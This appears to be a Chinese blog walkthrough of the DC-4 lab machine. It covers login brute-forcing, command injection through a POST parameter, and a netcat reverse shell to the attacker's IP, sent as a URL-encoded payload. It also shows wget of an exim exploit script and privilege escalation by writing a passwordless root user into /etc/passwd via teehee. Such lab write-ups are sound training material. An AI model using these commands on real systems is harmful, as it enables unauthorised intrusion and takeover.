当前位置:网站首页>DC-4靶场搭建及渗透实战详细过程(DC靶场系列)
DC-4靶场搭建及渗透实战详细过程(DC靶场系列)
2022-08-03 03:36:00 【金 帛】
目录
DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip
搭建过程和DC-1一样,将kali跟DC-4放同一网段即可
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
nmap -sS -p- 192.168.120.138
3. 目录扫描
dirsearch -u 192.168.120.138 -e *
没发现啥有用的
4. 页面信息探测
除了一个登入框,啥也检测不出来,尝试爆破登入
二. 渗透过程
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
将抓到的请求报文发送到攻击器
这里就只爆破密码,猜用户名是admin
加载网上top1000的弱口令密码,然后点击开始攻击
查看回显报文最长的包,得到密码happy,用该密码登入后继续点击submit
来到了命令执行的界面
2. 任意命令执行
burpsuite抓包,点击run,右键发到重放器
可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果
3. 反弹shell
通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解
在kali上监听8080端口
nc -lvvp 8080
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.120.129 8080
先将其URL编码
然后构造payload,POST传参
radio=%6e%63%20%2d%65%20%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%31%32%30%2e%31%32%39%20%38%30%38%30&submit=Run
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
4. Linux提权(假)
(错误示范)前面打DC靶场学到的提权方式在这都不管用了,在搜索suid权限的二进制文件时,发现有exim命令,exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
find / -perm -4000 -print 2>/dev/null
先看一下exim4的版本
exim4 --version
确定版本,接着找查提权漏洞,另开一个终端
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
将文件拷贝到桌面,并在桌面开启一个http服务
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/桌面/hack.sh
python3 -m http.server 8888
接着回到反弹shell那边,下载hack.sh
wget http://192.168.120.129:8888/hack.sh
居然没有权限写入,那就cd去tmp目录吧,tmp目录所有用户都可以操作
下载完成后赋予该文件全部可执行的权限
chmod 777 hack.sh
然后执行该文件
./hack.sh
提权成功了一半!??
好像忙活错了
4. Linux提权(真)
看别人wp,得从其他地方找突破口提权了,参考Linux的home目录
看一下该主机的普通用户,能不能尝试登进去寻找其他突破口
可以看到有三个普通用户,测试发现,只有jim用户才有权限查看,来到/home/jim/backups目录下
打开该文件,有一堆密码在(根据文件名提示,应该是之前用过的老密码)
将这些密码复制,然后放着一个文件里,用超级弱口令检查工具爆破
接着ssh远程登入一下,jim:jibril04
ssh [email protected]
接着尝试打开刚才反弹shell打开不了的文件mbox
说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail
蛮有意思的哈,今天放假,老板让我把密码给你
用该账号密码登入ssh,charles:^xHhA&hvim0y
还不是root用户,跟git提权一样
sudo -l
发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #建议手打命令,复制粘贴可能不管用
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test
提权成功
5. 查找flag
find / -name *flag.*
芜湖,通关
三. 收获总结
1. netcat反弹shell命令
nc -e /bin/bash [监听的IP] [监听的PORT]
2. teehee提权
原理就是通过修改passwd文件,添加一个无密码root权限的用户
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
边栏推荐
- 【GraphQL】使用Hot Chocolate和.NET 6构建GraphQL应用
- 金仓数据库 Pro*C 迁移指南( 5. 程序开发示例)
- Base64编码原理
- Compose the displacement of the view
- 阿里面试官:聊聊如何格式化Instant
- ClickHouse delete table
- PyTorch installation - error when building a virtual environment in conda before installing PyTorch
- OneNote 教程,如何在 OneNote 中设置笔记格式?
- 这个困扰程序员50年的问题,终于要被解决了?
- 电子设备行业智能供应链系统:打破传统供应链壁垒,提升电子设备企业管理效能
猜你喜欢
随机推荐
问下有用sql server flink-sql-connector-sqlserver-cdc-2
【leetcode热题Hot100】——LRU缓存
浅谈用KUSTO查询语言(KQL)在Azure Synapse Analytics(Azure SQL DW)审计某DB账号的操作记录
Scala基础【异常、隐式转换、泛型】
Redshift贴logo的方法
shell之条件语句(条件测试、if语句,case语句)
基于flowable的upp(统一流程平台)运行性能优化(2)
爆肝22个ES6知识点
【 original 】 Auto. Js the get and post case
一文了解SAP IBP是什么?
【GraphQL】使用Hot Chocolate和.NET 6构建GraphQL应用
积分商城可设置的四种兑换商品类型
Have bosses know date field flinksql is synchronized to the use of the null on how to deal with
Smart fitness gesture recognition: PP - TinyPose build AI virtual trainer!
记录学习--Navicat使用自定义数据库列表
lc marathon 8.2
Kotlin multiplication, how do I multiply smaller and smaller?
ClickHouse—高级
Pro * C Jin Cang database migration guide (4) KingbaseES Pro * C migration guide)
Auto.js Pro 计算脚本运行时间